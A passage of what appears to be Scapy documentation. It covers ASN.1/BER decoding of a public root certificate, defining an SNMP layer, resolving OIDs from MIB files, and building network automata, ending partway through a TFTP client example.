... Kk/SBtc9+cMDLz9l+WceR0DTYw/j1Y75hauXTLPXJuuWCpTehTacyH+BCQJJ
... Kg71ZDIMgtG6aoIbs0t0EfOMd9afv9w3pKdVBC/UMejTRrkDfNoSTllkt1Ex
... MVCgyhwn2RAurda9EGYrw7AiShJbAgMBAAGjYzBhMA8GA1UdEwEB/wQFMAMB
... Af8wHQYDVR0OBBYEFE9pbQN+nZ8HGEO8txBO1b+pxCAoMB8GA1UdIwQYMBaA
... FE9pbQN+nZ8HGEO8txBO1b+pxCAoMA4GA1UdDwEB/wQEAwIBhjANBgkqhkiG
... 9w0BAQUFAAOCAgEAO/Ouyuguh4X7ZVnnrREUpVe8WJ8kEle7+z802u6teio0
... cnAxa8cZmIDJgt43d15Ui47y6mdPyXSEkVYJ1eV6moG2gcKtNuTxVBFT8zRF
... ASbI5Rq8NEQh3q0l/HYWdyGQgJhXnU7q7C+qPBR7V8F+GBRn7iTGvboVsNIY
... vbdVgaxTwOjdaRITQrcCtQVBynlQboIOcXKTRuidDV29rs4prWPVVRaAMCf/
... drr3uNZK49m1+VLQTkCpx+XCMseqdiThawVQ68W/ClTluUI8JPu3B5wwn3la
... 5uBAUhX0/Kr0VvlEl4ftDmVyXr4m+02kLQgH3thcoNyBM5kYJRF3p+v9WAks
... mWsbivNSPxpNSGDxoPYzAlOL7SUJuA0t7Zdz7NeWH45gDtoQmy8YJPamTQr5
... O8t1wswvziRpyQoijlmn94IM19drNZxDAGrElWe6nEXLuA4399xOAU++CrYD
... 062KRffaJ00psUjf5BHklka9bAI+1lHIlRcBFanyqqryvy9lG2/QuRqT9Y41
... xICHPpQvZuTpqP9BnHAqTyo5GJUefvthATxRCC4oGKQWDzH9OmwjkyB24f0H
... hdFbP9IcczLd+rn4jM8Ch3qaluTtT4mNU0OrDhPAARW0eTjb/G49nlG2uBOL
... Z8/5fNkiHfZdxRwBL5joeiQYvITX+txyW/fBOmg=
... """.decode("base64")
>>> (dcert,remain) = BERcodec_Object.dec(cert)
Traceback (most recent call last):
  File "<console>", line 1, in ?
  File "/usr/bin/scapy", line 2099, in dec
    return cls.do_dec(s, context, safe)
  File "/usr/bin/scapy", line 2094, in do_dec
    return codec.dec(s,context,safe)
  File "/usr/bin/scapy", line 2099, in dec
    return cls.do_dec(s, context, safe)
  File "/usr/bin/scapy", line 2218, in do_dec
    o,s = BERcodec_Object.dec(s, context, safe)
  File "/usr/bin/scapy", line 2099, in dec
    return cls.do_dec(s, context, safe)
  File "/usr/bin/scapy", line 2094, in do_dec
    return codec.dec(s,context,safe)
  File "/usr/bin/scapy", line 2099, in dec
    return cls.do_dec(s, context, safe)
  File "/usr/bin/scapy", line 2218, in do_dec
    o,s = BERcodec_Object.dec(s, context, safe)
  File "/usr/bin/scapy", line 2099, in dec
    return cls.do_dec(s, context, safe)
  File "/usr/bin/scapy", line 2092, in do_dec
    raise BER_Decoding_Error("Unknown prefix [%02x] for [%r]" % (p,t), remaining=s)
BER_Decoding_Error: Unknown prefix [a0] for ['\xa0\x03\x02\x01\x02\x02\x01\x010\r\x06\t*\x86H...']
### Already decoded ###
[[]]
### Remaining ###
'\xa0\x03\x02\x01\x02\x02\x01\x010\r\x06\t*\x86H\x86\xf7\r\x01\x01\x05\x05\x000\x81\x831\x0b0\t\x06\x03U\x04\x06\x13\x02US1\x1d0\x1b\x06\x03U\x04\n\x13\x14AOL Time Warner Inc.1\x1c0\x1a\x06\x03U\x04\x0b\x13\x13America Online Inc.1705\x06\x03U\x04\x03\x13.AOL Time Warner Root Certification Authority 20\x1e\x17\r020529060000Z\x17\r370928234300Z0\x81\x831\x0b0\t\x06\x03U\x04\x06\x13\x02US1\x1d0\x1b\x06\x03U\x04\n\x13\x14AOL Time Warner Inc.1\x1c0\x1a\x06\x03U\x04\x0b\x13\x13America Online Inc.1705\x06\x03U\x04\x03\x13.AOL Time Warner Root Certification Authority 20\x82\x02"0\r\x06\t*\x86H\x86\xf7\r\x01\x01\x01\x05\x00\x03\x82\x02\x0f\x000\x82\x02\n\x02\x82\x02\x01\x00\xb47Z\x08\x16\x99\x14\xe8U\xb1\x1b$k\xfc\xc7\x8b\xe6\x87\xa9\x89\xee\x8b\x99\xcdO@\x86\xa4\xb6M\xc9\xd9\xb1\xdc<M\r\x85L\x15lF\x8bRx\x9f\xf8#\xfdg\xf5$:h]\xd0\xf7daAT\xa3\x8b\xa5\x08\xd2)[\x9b`O&\x83\xd1c\x12VIv\xa4\x16\xc2\xa5\x9dE\xac\x8b\x84\x95\xa8\x16\xb1\xec\x9f\xea$\x1a\xef\xb9W\\\x9a$!,M\x0eq\x1f\xa6\xac]Et\x03\x98\xc4T\x8c\x16JAw\x86\x95u\x0cG\x01f`\xfc\x15\xf1\x0f\xea\xf5\x14x\xc7\x0e\xd7n\x81\x1c^\xbf^\xe7:*\xd8\x97\x170|\x00\xad\x08\x9d3\xaf\xb8\x99a\x80\x8b\xa8\x95~\x14\xdc\x12l\xa4\xd0\xd8\xef@I\x026\xf9n\xa9\xd6\x1d\x96V\x04\xb2\xb3-\x16V\x86\x8f\xd9 W\x80\xcdg\x10m\xb0L\xf0\xdaF\xb6\xea%.F\xaf\x8d\xb0\x8584\x8b\x14&\x82+\xac\xae\x99\x0b\x8e\x14\xd7R\xbd\x9ei\xc3\x86\x02\x0b\xeavu1\t\xce3\x19!\x85C\xe6\x89-\x9f%7g\xf1#j\xd2\x00m\x97\xf9\x9f\xe7)\xca\xdd\x1f\xd7\x06\xea\xb8\xc9\xb9\t!\x9f\xc8?\x06\xc5\xd2\xe9\x12F\x00N{\x08\xebB=+Hn\x9dg\xddK\x02\xe4D\xf3\x93\x19\xa5\'\xceiz\xbeg\xd3\xfcP\xa4,\xab\xc3k\xb9\xe3\x80L\xcf\x05aK+\xdc\x1b\xb9\xa6\xd2\xd0\xaa\xf5+s\xfb\xce\x905\x9f\x0cR\x1c\xbf\\!a\x11[\x15K\xa9$Q\xfc\xa4\\\xf7\x17\x9d\xb0\xd2\xfa\x07\xe9\x8fV\xe4\x1a\x8ch\x8a\x04\xd3|Z\xe3\x9e\xa2\xa1\xcaq[\xa2\xd4\xa0\xe7)\x85]\x03h*O\xd2\x06\xd7=\xf9\xc3\x03/?e\xf9g\x1eG@\xd3c\x0f\xe3\xd5\x8e\xf9\x85\xab\x97L\xb3\xd7&\xeb\x96\n\x94\xde\x856\x9c\xc8\x7f\x81\t\x02I*\x0e\xf5d2\x0c\x82\xd1\xbaj\x82\x1b\xb3Kt\x11\xf3\x8cw\xd6\x9f\xbf\xdc7\xa4\xa7U\x04/\xd41\xe8\xd3F\xb9\x03|\xda\x12NYd\xb7Q11P\xa0\xca\x1c\'\xd9\x10.\xad\xd6\xbd\x10f+\xc3\xb0"J\x12[\x02\x03\x01\x00\x01\xa3c0a0\x0f\x06\x03U\x1d\x13\x01\x01\xff\x04\x050\x03\x01\x01\xff0\x1d\x06\x03U\x1d\x0e\x04\x16\x04\x14Oim\x03~\x9d\x9f\x07\x18C\xbc\xb7\x10N\xd5\xbf\xa9\xc4 (0\x1f\x06\x03U\x1d#\x04\x180\x16\x80\x14Oim\x03~\x9d\x9f\x07\x18C\xbc\xb7\x10N\xd5\xbf\xa9\xc4 (0\x0e\x06\x03U\x1d\x0f\x01\x01\xff\x04\x04\x03\x02\x01\x860\r\x06\t*\x86H\x86\xf7\r\x01\x01\x05\x05\x00\x03\x82\x02\x01\x00;\xf3\xae\xca\xe8.\x87\x85\xfbeY\xe7\xad\x11\x14\xa5W\xbcX\x9f$\x12W\xbb\xfb?4\xda\xee\xadz*4rp1k\xc7\x19\x98\x80\xc9\x82\xde7w^T\x8b\x8e\xf2\xeagO\xc9t\x84\x91V\t\xd5\xe5z\x9a\x81\xb6\x81\xc2\xad6\xe4\xf1T\x11S\xf34E\x01&\xc8\xe5\x1a\xbc4D!\xde\xad%\xfcv\x16w!\x90\x80\x98W\x9dN\xea\xec/\xaa<\x14{W\xc1~\x18\x14g\xee$\xc6\xbd\xba\x15\xb0\xd2\x18\xbd\xb7U\x81\xacS\xc0\xe8\xddi\x12\x13B\xb7\x02\xb5\x05A\xcayPn\x82\x0eqr\x93F\xe8\x9d\r]\xbd\xae\xce)\xadc\xd5U\x16\x800\'\xffv\xba\xf7\xb8\xd6J\xe3\xd9\xb5\xf9R\xd0N@\xa9\xc7\xe5\xc22\xc7\xaav$\xe1k\x05P\xeb\xc5\xbf\nT\xe5\xb9B<$\xfb\xb7\x07\x9c0\x9fyZ\xe6\xe0@R\x15\xf4\xfc\xaa\xf4V\xf9D\x97\x87\xed\x0eer^\xbe&\xfbM\xa4-\x08\x07\xde\xd8\\\xa0\xdc\x813\x99\x18%\x11w\xa7\xeb\xfdX\t,\x99k\x1b\x8a\xf3R?\x1aMH`\xf1\xa0\xf63\x02S\x8b\xed%\t\xb8\r-\xed\x97s\xec\xd7\x96\x1f\x8e`\x0e\xda\x10\x9b/\x18$\xf6\xa6M\n\xf9;\xcbu\xc2\xcc/\xce$i\xc9\n"\x8eY\xa7\xf7\x82\x0c\xd7\xd7k5\x9cC\x00j\xc4\x95g\xba\x9cE\xcb\xb8\x0e7\xf7\xdcN\x01O\xbe\n\xb6\x03\xd3\xad\x8aE\xf7\xda\'M)\xb1H\xdf\xe4\x11\xe4\x96F\xbdl\x02>\xd6Q\xc8\x95\x17\x01\x15\xa9\xf2\xaa\xaa\xf2\xbf/e\x1bo\xd0\xb9\x1a\x93\xf5\x8e5\xc4\x80\x87>\x94/f\xe4\xe9\xa8\xffA\x9cp*O*9\x18\x95\x1e~\xfba\x01<Q\x08.(\x18\xa4\x16\x0f1\xfd:l#\x93 v\xe1\xfd\x07\x85\xd1[?\xd2\x1cs2\xdd\xfa\xb9\xf8\x8c\xcf\x02\x87z\x9a\x96\xe4\xedO\x89\x8dSC\xab\x0e\x13\xc0\x01\x15\xb4y8\xdb\xfcn=\x9eQ\xb6\xb8\x13\x8bg\xcf\xf9|\xd9"\x1d\xf6]\xc5\x1c\x01/\x98\xe8z$\x18\xbc\x84\xd7\xfa\xdcr[\xf7\xc1:h'





The Context class must be specified:

>>> (dcert,remain) = BERcodec_Object.dec(cert, context=ASN1_Class_X509)
>>> dcert.show()
# ASN1_SEQUENCE:
  # ASN1_SEQUENCE:
    # ASN1_X509_CONT0:
      <ASN1_INTEGER[2L]>
    <ASN1_INTEGER[1L]>
    # ASN1_SEQUENCE:
      <ASN1_OID['.1.2.840.113549.1.1.5']>
      <ASN1_NULL[0L]>
    # ASN1_SEQUENCE:
      # ASN1_SET:
        # ASN1_SEQUENCE:
          <ASN1_OID['.2.5.4.6']>
          <ASN1_PRINTABLE_STRING['US']>
      # ASN1_SET:
        # ASN1_SEQUENCE:
          <ASN1_OID['.2.5.4.10']>
          <ASN1_PRINTABLE_STRING['AOL Time Warner Inc.']>
      # ASN1_SET:
        # ASN1_SEQUENCE:
          <ASN1_OID['.2.5.4.11']>
          <ASN1_PRINTABLE_STRING['America Online Inc.']>
      # ASN1_SET:
        # ASN1_SEQUENCE:
          <ASN1_OID['.2.5.4.3']>
          <ASN1_PRINTABLE_STRING['AOL Time Warner Root Certification Authority 2']>
    # ASN1_SEQUENCE:
      <ASN1_UTC_TIME['020529060000Z']>
      <ASN1_UTC_TIME['370928234300Z']>
    # ASN1_SEQUENCE:
      # ASN1_SET:
        # ASN1_SEQUENCE:
          <ASN1_OID['.2.5.4.6']>
          <ASN1_PRINTABLE_STRING['US']>
      # ASN1_SET:
        # ASN1_SEQUENCE:
          <ASN1_OID['.2.5.4.10']>
          <ASN1_PRINTABLE_STRING['AOL Time Warner Inc.']>
      # ASN1_SET:
        # ASN1_SEQUENCE:
          <ASN1_OID['.2.5.4.11']>
          <ASN1_PRINTABLE_STRING['America Online Inc.']>
      # ASN1_SET:
        # ASN1_SEQUENCE:
          <ASN1_OID['.2.5.4.3']>
          <ASN1_PRINTABLE_STRING['AOL Time Warner Root Certification Authority 2']>
    # ASN1_SEQUENCE:
      # ASN1_SEQUENCE:
        <ASN1_OID['.1.2.840.113549.1.1.1']>
        <ASN1_NULL[0L]>
      <ASN1_BIT_STRING['\x000\x82\x02\n\x02\x82\x02\x01\x00\xb47Z\x08\x16\x99\x14\xe8U\xb1\x1b$k\xfc\xc7\x8b\xe6\x87\xa9\x89\xee\x8b\x99\xcdO@\x86\xa4\xb6M\xc9\xd9\xb1\xdc<M\r\x85L\x15lF\x8bRx\x9f\xf8#\xfdg\xf5$:h]\xd0\xf7daAT\xa3\x8b\xa5\x08\xd2)[\x9b`O&\x83\xd1c\x12VIv\xa4\x16\xc2\xa5\x9dE\xac\x8b\x84\x95\xa8\x16\xb1\xec\x9f\xea$\x1a\xef\xb9W\\\x9a$!,M\x0eq\x1f\xa6\xac]Et\x03\x98\xc4T\x8c\x16JAw\x86\x95u\x0cG\x01f`\xfc\x15\xf1\x0f\xea\xf5\x14x\xc7\x0e\xd7n\x81\x1c^\xbf^\xe7:*\xd8\x97\x170|\x00\xad\x08\x9d3\xaf\xb8\x99a\x80\x8b\xa8\x95~\x14\xdc\x12l\xa4\xd0\xd8\xef@I\x026\xf9n\xa9\xd6\x1d\x96V\x04\xb2\xb3-\x16V\x86\x8f\xd9 W\x80\xcdg\x10m\xb0L\xf0\xdaF\xb6\xea%.F\xaf\x8d\xb0\x8584\x8b\x14&\x82+\xac\xae\x99\x0b\x8e\x14\xd7R\xbd\x9ei\xc3\x86\x02\x0b\xeavu1\t\xce3\x19!\x85C\xe6\x89-\x9f%7g\xf1#j\xd2\x00m\x97\xf9\x9f\xe7)\xca\xdd\x1f\xd7\x06\xea\xb8\xc9\xb9\t!\x9f\xc8?\x06\xc5\xd2\xe9\x12F\x00N{\x08\xebB=+Hn\x9dg\xddK\x02\xe4D\xf3\x93\x19\xa5\'\xceiz\xbeg\xd3\xfcP\xa4,\xab\xc3k\xb9\xe3\x80L\xcf\x05aK+\xdc\x1b\xb9\xa6\xd2\xd0\xaa\xf5+s\xfb\xce\x905\x9f\x0cR\x1c\xbf\\!a\x11[\x15K\xa9$Q\xfc\xa4\\\xf7\x17\x9d\xb0\xd2\xfa\x07\xe9\x8fV\xe4\x1a\x8ch\x8a\x04\xd3|Z\xe3\x9e\xa2\xa1\xcaq[\xa2\xd4\xa0\xe7)\x85]\x03h*O\xd2\x06\xd7=\xf9\xc3\x03/?e\xf9g\x1eG@\xd3c\x0f\xe3\xd5\x8e\xf9\x85\xab\x97L\xb3\xd7&\xeb\x96\n\x94\xde\x856\x9c\xc8\x7f\x81\t\x02I*\x0e\xf5d2\x0c\x82\xd1\xbaj\x82\x1b\xb3Kt\x11\xf3\x8cw\xd6\x9f\xbf\xdc7\xa4\xa7U\x04/\xd41\xe8\xd3F\xb9\x03|\xda\x12NYd\xb7Q11P\xa0\xca\x1c\'\xd9\x10.\xad\xd6\xbd\x10f+\xc3\xb0"J\x12[\x02\x03\x01\x00\x01']>
    # ASN1_X509_CONT3:
      # ASN1_SEQUENCE:
        # ASN1_SEQUENCE:
          <ASN1_OID['.2.5.29.19']>
          <ASN1_BOOLEAN[-1L]>
          <ASN1_STRING['0\x03\x01\x01\xff']>
        # ASN1_SEQUENCE:
          <ASN1_OID['.2.5.29.14']>
          <ASN1_STRING['\x04\x14Oim\x03~\x9d\x9f\x07\x18C\xbc\xb7\x10N\xd5\xbf\xa9\xc4 (']>
        # ASN1_SEQUENCE:
          <ASN1_OID['.2.5.29.35']>
          <ASN1_STRING['0\x16\x80\x14Oim\x03~\x9d\x9f\x07\x18C\xbc\xb7\x10N\xd5\xbf\xa9\xc4 (']>
        # ASN1_SEQUENCE:
          <ASN1_OID['.2.5.29.15']>
          <ASN1_BOOLEAN[-1L]>
          <ASN1_STRING['\x03\x02\x01\x86']>
  # ASN1_SEQUENCE:
    <ASN1_OID['.1.2.840.113549.1.1.5']>
    <ASN1_NULL[0L]>
  <ASN1_BIT_STRING['\x00;\xf3\xae\xca\xe8.\x87\x85\xfbeY\xe7\xad\x11\x14\xa5W\xbcX\x9f$\x12W\xbb\xfb?4\xda\xee\xadz*4rp1k\xc7\x19\x98\x80\xc9\x82\xde7w^T\x8b\x8e\xf2\xeagO\xc9t\x84\x91V\t\xd5\xe5z\x9a\x81\xb6\x81\xc2\xad6\xe4\xf1T\x11S\xf34E\x01&\xc8\xe5\x1a\xbc4D!\xde\xad%\xfcv\x16w!\x90\x80\x98W\x9dN\xea\xec/\xaa<\x14{W\xc1~\x18\x14g\xee$\xc6\xbd\xba\x15\xb0\xd2\x18\xbd\xb7U\x81\xacS\xc0\xe8\xddi\x12\x13B\xb7\x02\xb5\x05A\xcayPn\x82\x0eqr\x93F\xe8\x9d\r]\xbd\xae\xce)\xadc\xd5U\x16\x800\'\xffv\xba\xf7\xb8\xd6J\xe3\xd9\xb5\xf9R\xd0N@\xa9\xc7\xe5\xc22\xc7\xaav$\xe1k\x05P\xeb\xc5\xbf\nT\xe5\xb9B<$\xfb\xb7\x07\x9c0\x9fyZ\xe6\xe0@R\x15\xf4\xfc\xaa\xf4V\xf9D\x97\x87\xed\x0eer^\xbe&\xfbM\xa4-\x08\x07\xde\xd8\\\xa0\xdc\x813\x99\x18%\x11w\xa7\xeb\xfdX\t,\x99k\x1b\x8a\xf3R?\x1aMH`\xf1\xa0\xf63\x02S\x8b\xed%\t\xb8\r-\xed\x97s\xec\xd7\x96\x1f\x8e`\x0e\xda\x10\x9b/\x18$\xf6\xa6M\n\xf9;\xcbu\xc2\xcc/\xce$i\xc9\n"\x8eY\xa7\xf7\x82\x0c\xd7\xd7k5\x9cC\x00j\xc4\x95g\xba\x9cE\xcb\xb8\x0e7\xf7\xdcN\x01O\xbe\n\xb6\x03\xd3\xad\x8aE\xf7\xda\'M)\xb1H\xdf\xe4\x11\xe4\x96F\xbdl\x02>\xd6Q\xc8\x95\x17\x01\x15\xa9\xf2\xaa\xaa\xf2\xbf/e\x1bo\xd0\xb9\x1a\x93\xf5\x8e5\xc4\x80\x87>\x94/f\xe4\xe9\xa8\xffA\x9cp*O*9\x18\x95\x1e~\xfba\x01<Q\x08.(\x18\xa4\x16\x0f1\xfd:l#\x93 v\xe1\xfd\x07\x85\xd1[?\xd2\x1cs2\xdd\xfa\xb9\xf8\x8c\xcf\x02\x87z\x9a\x96\xe4\xedO\x89\x8dSC\xab\x0e\x13\xc0\x01\x15\xb4y8\xdb\xfcn=\x9eQ\xb6\xb8\x13\x8bg\xcf\xf9|\xd9"\x1d\xf6]\xc5\x1c\x01/\x98\xe8z$\x18\xbc\x84\xd7\xfa\xdcr[\xf7\xc1:h']>







ASN.1 layers

While this may be nice, it’s only an ASN.1 encoder/decoder. Nothing related to Scapy yet.


ASN.1 fields

Scapy provides ASN.1 fields. They will wrap ASN.1 objects and provide the necessary logic to bind a field name to the value. ASN.1 packets will be described as a tree of ASN.1 fields. Then each field name will be made available as a normal Packet object, in a flat flavor (ex: to access the version field of a SNMP packet, you don’t need to know how many containers wrap it).

Each ASN.1 field is linked to an ASN.1 object through its tag.



ASN.1 packets

ASN.1 packets inherit from the Packet class. Instead of a fields_desc list of fields, they define ASN1_codec and ASN1_root attributes. The first one is a codec (for example: ASN1_Codecs.BER), the second one is a tree compounded with ASN.1 fields.





A complete example: SNMP

SNMP defines new ASN.1 objects. We need to define them:

class ASN1_Class_SNMP(ASN1_Class_UNIVERSAL):
    name="SNMP"
    PDU_GET = 0xa0
    PDU_NEXT = 0xa1
    PDU_RESPONSE = 0xa2
    PDU_SET = 0xa3
    PDU_TRAPv1 = 0xa4
    PDU_BULK = 0xa5
    PDU_INFORM = 0xa6
    PDU_TRAPv2 = 0xa7





These objects are PDU, and are in fact new names for a sequence container (this is generally the case for context objects: they are old containers with new names). This means creating the corresponding ASN.1 objects and BER codecs is simplistic:

class ASN1_SNMP_PDU_GET(ASN1_SEQUENCE):
    tag = ASN1_Class_SNMP.PDU_GET

class ASN1_SNMP_PDU_NEXT(ASN1_SEQUENCE):
    tag = ASN1_Class_SNMP.PDU_NEXT

# [...]

class BERcodec_SNMP_PDU_GET(BERcodec_SEQUENCE):
    tag = ASN1_Class_SNMP.PDU_GET

class BERcodec_SNMP_PDU_NEXT(BERcodec_SEQUENCE):
    tag = ASN1_Class_SNMP.PDU_NEXT

# [...]





Metaclasses provide the magic behind the fact that everything is automatically registered and that ASN.1 objects and BER codecs can find each other.

The ASN.1 fields are also trivial:

class ASN1F_SNMP_PDU_GET(ASN1F_SEQUENCE):
    ASN1_tag = ASN1_Class_SNMP.PDU_GET

class ASN1F_SNMP_PDU_NEXT(ASN1F_SEQUENCE):
    ASN1_tag = ASN1_Class_SNMP.PDU_NEXT

# [...]





Now, the hard part, the ASN.1 packet:

SNMP_error = { 0: "no_error",
               1: "too_big",
# [...]
             }

SNMP_trap_types = { 0: "cold_start",
                    1: "warm_start",
# [...]
                  }

class SNMPvarbind(ASN1_Packet):
    ASN1_codec = ASN1_Codecs.BER
    ASN1_root = ASN1F_SEQUENCE( ASN1F_OID("oid","1.3"),
                                ASN1F_field("value",ASN1_NULL(0))
                                )


class SNMPget(ASN1_Packet):
    ASN1_codec = ASN1_Codecs.BER
    ASN1_root = ASN1F_SNMP_PDU_GET( ASN1F_INTEGER("id",0),
                                    ASN1F_enum_INTEGER("error",0, SNMP_error),
                                    ASN1F_INTEGER("error_index",0),
                                    ASN1F_SEQUENCE_OF("varbindlist", [], SNMPvarbind)
                                    )

class SNMPnext(ASN1_Packet):
    ASN1_codec = ASN1_Codecs.BER
    ASN1_root = ASN1F_SNMP_PDU_NEXT( ASN1F_INTEGER("id",0),
                                     ASN1F_enum_INTEGER("error",0, SNMP_error),
                                     ASN1F_INTEGER("error_index",0),
                                     ASN1F_SEQUENCE_OF("varbindlist", [], SNMPvarbind)
                                     )
# [...]

class SNMP(ASN1_Packet):
    ASN1_codec = ASN1_Codecs.BER
    ASN1_root = ASN1F_SEQUENCE(
        ASN1F_enum_INTEGER("version", 1, {0:"v1", 1:"v2c", 2:"v2", 3:"v3"}),
        ASN1F_STRING("community","public"),
        ASN1F_CHOICE("PDU", SNMPget(),
                     SNMPget, SNMPnext, SNMPresponse, SNMPset,
                     SNMPtrapv1, SNMPbulk, SNMPinform, SNMPtrapv2)
        )
    def answers(self, other):
        return ( isinstance(self.PDU, SNMPresponse)    and
                 ( isinstance(other.PDU, SNMPget) or
                   isinstance(other.PDU, SNMPnext) or
                   isinstance(other.PDU, SNMPset)    ) and
                 self.PDU.id == other.PDU.id )
# [...]
bind_layers( UDP, SNMP, sport=161)
bind_layers( UDP, SNMP, dport=161)





That wasn’t that much difficult. If you think that can’t be that short to implement SNMP encoding/decoding and that I may have cut too much, just look at the complete source code.

Now, how to use it? As usual:

>>> a=SNMP(version=3, PDU=SNMPget(varbindlist=[SNMPvarbind(oid="1.2.3",value=5),
...                                            SNMPvarbind(oid="3.2.1",value="hello")]))
>>> a.show()
###[ SNMP ]###
  version= v3
  community= 'public'
  \PDU\
   |###[ SNMPget ]###
   |  id= 0
   |  error= no_error
   |  error_index= 0
   |  \varbindlist\
   |   |###[ SNMPvarbind ]###
   |   |  oid= '1.2.3'
   |   |  value= 5
   |   |###[ SNMPvarbind ]###
   |   |  oid= '3.2.1'
   |   |  value= 'hello'
>>> hexdump(a)
0000   30 2E 02 01 03 04 06 70  75 62 6C 69 63 A0 21 02   0......public.!.
0010   01 00 02 01 00 02 01 00  30 16 30 07 06 02 2A 03   ........0.0...*.
0020   02 01 05 30 0B 06 02 7A  01 04 05 68 65 6C 6C 6F   ...0...z...hello
>>> send(IP(dst="1.2.3.4")/UDP()/SNMP())
.
Sent 1 packets.
>>> SNMP(raw(a)).show()
###[ SNMP ]###
  version= <ASN1_INTEGER[3L]>
  community= <ASN1_STRING['public']>
  \PDU\
   |###[ SNMPget ]###
   |  id= <ASN1_INTEGER[0L]>
   |  error= <ASN1_INTEGER[0L]>
   |  error_index= <ASN1_INTEGER[0L]>
   |  \varbindlist\
   |   |###[ SNMPvarbind ]###
   |   |  oid= <ASN1_OID['.1.2.3']>
   |   |  value= <ASN1_INTEGER[5L]>
   |   |###[ SNMPvarbind ]###
   |   |  oid= <ASN1_OID['.3.2.1']>
   |   |  value= <ASN1_STRING['hello']>







Resolving OID from a MIB


About OID objects

OID objects are created with an ASN1_OID class:

>>> o1=ASN1_OID("2.5.29.10")
>>> o2=ASN1_OID("1.2.840.113549.1.1.1")
>>> o1,o2
(<ASN1_OID['.2.5.29.10']>, <ASN1_OID['.1.2.840.113549.1.1.1']>)







Loading a MIB

Scapy can parse MIB files and become aware of a mapping between an OID and its name:

>>> load_mib("mib/*")
>>> o1,o2
(<ASN1_OID['basicConstraints']>, <ASN1_OID['rsaEncryption']>)





The MIB files I’ve used are attached to this page.



Scapy’s MIB database

All MIB information is stored into the conf.mib object. This object can be used to find the OID of a name

>>> conf.mib.sha1_with_rsa_signature
'1.2.840.113549.1.1.5'





or to resolve an OID:

>>> conf.mib._oidname("1.2.3.6.1.4.1.5")
'enterprises.5'





It is even possible to graph it:

>>> conf.mib._make_graph()









Automata

Scapy enables to create easily network automata. Scapy does not stick to a specific model like Moore or Mealy automata. It provides a flexible way for you to choose your way to go.

An automaton in Scapy is deterministic. It has different states. A start state and some end and error states. There are transitions from one state to another. Transitions can be transitions on a specific condition, transitions on the reception of a specific packet or transitions on a timeout. When a transition is taken, one or more actions can be run. An action can be bound to many transitions. Parameters can be passed from states to transitions, and from transitions to states and actions.

From a programmer’s point of view, states, transitions and actions are methods from an Automaton subclass. They are decorated to provide meta-information needed in order for the automaton to work.


First example

Let’s begin with a simple example. I take the convention to write states with capitals, but anything valid with Python syntax would work as well.

class HelloWorld(Automaton):
    @ATMT.state(initial=1)
    def BEGIN(self):
        print("State=BEGIN")

    @ATMT.condition(BEGIN)
    def wait_for_nothing(self):
        print("Wait for nothing...")
        raise self.END()

    @ATMT.action(wait_for_nothing)
    def on_nothing(self):
        print("Action on 'nothing' condition")

    @ATMT.state(final=1)
    def END(self):
        print("State=END")





In this example, we can see 3 decorators:


	ATMT.state that is used to indicate that a method is a state, and that can
have initial, final, stop and error optional arguments set to non-zero for special states.


	ATMT.condition that indicate a method to be run when the automaton state
reaches the indicated state. The argument is the name of the method representing that state


	ATMT.action binds a method to a transition and is run when the transition is taken.




Running this example gives the following result:

>>> a=HelloWorld()
>>> a.run()
State=BEGIN
Wait for nothing...
Action on 'nothing' condition
State=END
>>> a.destroy()





This simple automaton can be described with the following graph:

[image: _images/ATMT_HelloWorld.png]
The graph can be automatically drawn from the code with:

>>> HelloWorld.graph()






Note

An Automaton can be reset using restart(). It is then possible to run it again.




Warning

Remember to call destroy() once you’re done using an Automaton. (especially on PyPy)





Changing states

The ATMT.state decorator transforms a method into a function that returns an exception. If you raise that exception, the automaton state will be changed. If the change occurs in a transition, actions bound to this transition will be called. The parameters given to the function replacing the method will be kept and finally delivered to the method. The exception has a method action_parameters that can be called before it is raised so that it will store parameters to be delivered to all actions bound to the current transition.

As an example, let’s consider the following state:

@ATMT.state()
def MY_STATE(self, param1, param2):
    print("state=MY_STATE. param1=%r param2=%r" % (param1, param2))





This state will be reached with the following code:

@ATMT.receive_condition(ANOTHER_STATE)
def received_ICMP(self, pkt):
    if ICMP in pkt:
        raise self.MY_STATE("got icmp", pkt[ICMP].type)





Let’s suppose we want to bind an action to this transition, that will also need some parameters:

@ATMT.action(received_ICMP)
def on_ICMP(self, icmp_type, icmp_code):
    self.retaliate(icmp_type, icmp_code)





The condition should become:

@ATMT.receive_condition(ANOTHER_STATE)
def received_ICMP(self, pkt):
    if ICMP in pkt:
        raise self.MY_STATE("got icmp", pkt[ICMP].type).action_parameters(pkt[ICMP].type, pkt[ICMP].code)







Real example

Here is a real example take from Scapy. It implements a TFTP client that can issue read requests.

[image: _images/ATMT_TFTP_read.png]
class TFTP_read(Automaton):
    def parse_args(self, filename, server, sport = None, port=69, **kargs):
        Automaton.parse_args(self, **kargs)
        self.filename = filename
        self.server = server
        self.port = port
        self.sport = sport

    def master_filter(self, pkt):
        return ( IP in pkt and pkt[IP].src == self.server and UDP in pkt
                 and pkt[UDP].dport == self.my_tid
                 and (self.server_tid is None or pkt[UDP].sport == self.server_tid) )

    # BEGIN
    @ATMT.state(initial=1)
    def BEGIN(self):
        self.blocksize=512
        self.my_tid = self.sport or RandShort()._fix()
        bind_bottom_up(UDP, TFTP, dport=self.my_tid)
        self.server_tid = None
        self.res = b""

        self.l3 = IP(dst=self.server)/UDP(sport=self.my_tid, dport=self.port)/TFTP()
        self.last_packet = self.l3/TFTP_RRQ(filename=self.filename, mode="octet")
        self.send(self.last_packet)
        self.awaiting=1

        raise self.WAITING()

    # WAITING
    @ATMT.state()
    def WAITING(self):
        pass

    @ATMT.receive_condition(WAITING)
    def receive_data(self, pkt):
        if TFTP_DATA in pkt and pkt[TFTP_DATA].block == self.awaiting:
            if self.server_tid is None:
                self.server_tid = pkt[UDP].sport
                self.l3[UDP].dport = self.server_tid
            raise self.RECEIVING(pkt)
    @ATMT.action(receive_data)
    def send_ack(self):
        self.last_packet = self.l3 / TFTP_ACK(block = self.awaiting)
        self.send(self.last_packet)

    @ATMT.receive_condition(WAITING, prio=1)
    def receive_error(self, pkt):
        if TFTP_ERROR in pkt:
            raise self.ERROR(pkt)

    @ATMT.timeout(WAITING, 3)
    def timeout_waiting(self):
        raise self.WAITING()
    @ATMT.action(timeout_waiting)
    def retransmit_last_packet(self):
        self.send(self.last_packet)

    # RECEIVED
    @ATMT.state()
    def RECEIVING(self, pkt):
        recvd = pkt[Raw].load
        self.res += recvd
        self.awaiting += 1
        if len(recvd) == self.blocksize:
            raise self.WAITING()
        raise self.END()

    # ERROR
    @ATMT.state(error=1)
    def ERROR(self,pkt):
